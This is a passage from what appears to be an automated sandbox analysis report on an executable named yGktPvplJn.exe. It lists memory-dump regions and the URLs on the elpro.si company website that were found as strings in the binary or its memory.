yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/category/aktualno/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/disclaimer/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/elpro-lepenik-razsiritev-zastopstva-za-wohler/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/en/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/izdelek/1c2e_p-plavajoce-stikalo-z-ojacano-strukturo-kari/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/izdelek/2250-4050-12-x-k/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/izdelek/o360-3008-200/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/izdelek/ttx-200-termometer-s-tipalom-na-kablu-demo/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/kontakt/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/meritve-vlage-pri-proizvodnji-polprevodnikov/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/merjenje-temperature-v-geovrtinah/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/moj-racun/lost-password/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/o-podjetju/
